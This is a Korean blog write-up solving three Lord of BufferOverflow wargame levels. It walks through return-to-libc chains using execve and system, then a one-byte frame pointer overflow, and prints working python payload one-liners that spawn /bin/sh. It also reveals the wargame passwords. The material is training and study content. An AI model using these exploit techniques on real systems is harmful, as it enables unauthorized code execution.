giant의 소스를 확인하도록 하겠습니다.

소스코드가 많이 길어졌습니다.

먼저 코드의 설명을 하도록 하겠습니다.

 

우선 24~27번까지의 코드를 이용해 libc의 메모리 주소를 획득합니다.

libc가 위치하고 있는 메모리의 주소는 0x40018000입니다.

 

그리고 29~32번까지의 코드를 통해 execve의 오프셋을 구합니다.

execve의 오프셋은 0x00091d48입니다.

 

그리고 34번의 코드를 통해 execve의 메모리상 주소를 구합니다.

0x40018000 + 0x00091d48를 통해 얻은 execve의 메모리상 주소는 0x400a9d48입니다.

 

그후 조건 검사를 통해 argv[1][44]에 오게 되는 주소의 값이 execve의 주소와 같지 않으면 프로그램을 종료합니다.

 

즉 우리는 execve함수를 이용하여 이번문제를 풀어야 합니다.


execve함수에 대한 설명은 다음과 같습니다.

첫번째 인자를 실행하며 두번째 인자는 전달해줄 매개변수 입니다. 세번째 변수는 환경변수가 들어갑니다.

 

Execve에는 exit를 전달하여 바로 종료 execve를 바로 종료하고 system(“/bin/sh”)로 쉘을 획득 할 것입니다.

이를 위한 스택 구조는 다음과 같습니다.

NULL

“/bin/sh”’s address

exit’s address

system()’s address

execve’s address

SFP

Buffer(44byte)

Execve의 값은 0x400a9d48로 구해놓았습니다.

 

나머지 값을 알아보도록 하겠습니다.

system exit함수의 주소는 디버깅을 통해 구하면 됩니다.

system()의 주소는 0x40058ae0,

exit()의 주소는 0x400391e0이네요.

 

이제 /bin/sh의 주소를 얻도록 하겠습니다.

“/bin/sh”가 들어있는 메모리 주소는 0x400fbff9입니다.

NULL은 스택의 0xbfffffffc영역에는 항상 NULL이 들어가므로 이를 이용하겠습니다.

 

다시한번 필요한 정보를 정리해보겠습니다.

execve           : 0x400a9d48

system           : 0x40058ae0

exit               : 0x400391e0

“/bin/sh”        : 0x400fbff9

NULL             : 0xbffffffc

 

이 정보를 종합하여 페이로드를 짜면 다음과 같이 됩니다.

`python –c ‘print “A”*44 + “\x48\x9d\x0a\x40” + “\xe0\x8a\x05\x40” + “\xe0\x91\x03\x40” + “\xf9\xbf\x0f\x40” + “\xfc\xff\xff\xbf”’`


이제 이를 입력하도록 하겠습니다.

이때 중요한것은 \x0a\x00으로 인식하여 뒷부분이 들어가지 않으므로 매개변수를 “”로 묶어 주어야 합니다.

giant의 쉘이 떳습니다.

giant의 패스워드는 one step closer입니다.

 

이 방법 이외에도

execve(&“/bin/sh”, &&”/bin/sh”, NULL)과 같은 입력을 하는 것으로 스택을 구성하여 푸는 방법도 있습니다.


&”/bin/sh”0x400fbff9를 입력해 주면 되고

&&”/bin/sh”는 이름이 0x400fbff9giant의 링크파일을 생성하여 그것이 메모리에 올라가게 하여 그 메모리를 이용하는 것입니다.


이경우의 페이로드는 다음과 같이 됩니다.

`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xfb"'`"


그러나 저는 다음 사진 처럼 쉘이 뜨지않고 그냥 종료되어 방법을 변경하였습니다.


bugbear의 소스를 확인하는 것으로 시작하겠습니다.

스택이 배신을 했다고 나오네요. 시작주소가 메모리의 시작주소가 \xbf인 곳은 사용 불가능합니다.

그럼 메모리의 공유 라이브러리 쪽의 함수를 사용하는 RTL기법을 사용하면 될듯 합니다.

RTL기법은 LOB gate를 풀 때 보다 자세히 적어 놓았습니다.

http://grayfieldbox.tistory.com/entry/LOBLord-Of-BufferOverflow-gate-gremlin

 

system(“/bin/sh”);라는 명령어를 스택에 구축하도록 하겠습니다.

만들어주어야 하는 스택의 모습은 다음과 같습니다.

“/bin/sh”’s address

junk(4byte);

system()’s address

SFP

buffer(44byte)

 

우선 system()함수가 들어있는 주소를 알아내도록 하겠습니다.

0x40058ae0system()이 존재하네요.

 

이제 /bin/sh의 문자열을 메모리에 넣고 주소값을 얻어내겠습니다.

/bin/sh가 들어있는 주소는 0x400fbff9입니다.

 

페이로드는 다음과 같이 됩니다.

“A”*44 + “\xe0\x8a\x05\x40” + “\x90”*4 +”\xf9\xbf\x0f\x40”

예상대로 쉘이 획득 되었습니다.


이제 원본 파일을 대상으로 진행하겠습니다.

성공적으로 bugbear의 쉘이 획득 되었습니다.

bugbear의 패스워드는 new divide입니다.

darkknight의 소스를 우선 확인하겠습니다.

코드가 확 짧아졌네요.

problem_child함수가 argv[1]을 받아와 버퍼에 입력 하는데 이상한점은 버퍼가 40byte인데 41byte를 입력하네요.

값을 입력할 때 1byte가 초가되어 SFP의 제일 마지막 1byte를 덮어 씌울것으로 보입니다.

 

이러한 취약점을 Frame Pointer Overflow라고 합니다.

 

스택에서 SFP위 주소에는 RET가 존재합니다.

SFP가 가르치는 메모리의 +4byte에 있는 값은 다음 명령어의 실행 주소가 됩니다.

 

이번 문제는 이를 이용하는 문제입니다.

problem_child에서 SFP의 마지막 1자리를 우리가 원하는 대로 변조할수 있다는건 EBP를 원하는데로 설정 할 수 있다는 뜻입니다.

만약 41번째에 0xa0을 입력하여 problem_childSFP0xbfffffa0이 들어가게 되면, problem_child함수가 끝나고 ebp0xbfffffa0가 되고, main함수가 끝날때 ebp+4의 값이 eip로 들어가니 0xbfffffa4의 값이 eip에 들어가게 됩니다.

 

그럼 문제는 해결 된듯 합니다.

problem_childebp만 구할수 있다면, 원하는 값을 다 넣을수 있죠.

 

gdb를 통해 problem_child ebp값을 알아보겠습니다.

problem_childebp값은 0xbffffabc입니다.


ebp-40부터 40byte데이터를 확인해 보도록 하겠습니다.

0xbffffab4부터 40byte A가 들어가있고 41번째에 B가 들어가 sfp0xbffffa42로 바꾸었습니다.

 

페이로드를 생각을 해보면 sfp0xbffffab0으로 수정하고 버퍼에는 eip + NOP슬라이드 + 쉘코드를 넣으면 될듯 합니다.

0xbffffab8(4byte) + NOP슬라이드(11byte) + 쉘코드(25byte) + \xb0

 

예상한대로 값을 넣도록 하겠습니다.

세그펄트가 떳네요.

 

core dump로 원인을 확인해 보겠습니다.

스택의 영역이 조금 밀렸네요.


SFP0xbffffac0으로 수정해주고 eip값을 0xbffffac8로 변경해 주도록 하겠습니다.

성공적으로 쉘이 획득되었습니다.

 

원본 파일을 대상으로 공격하도록 하겠습니다.

성공적으로 darkknight의 쉘이 획득되었습니다.

darkknight의 패스워드는 new attacker이네요.

+ Recent posts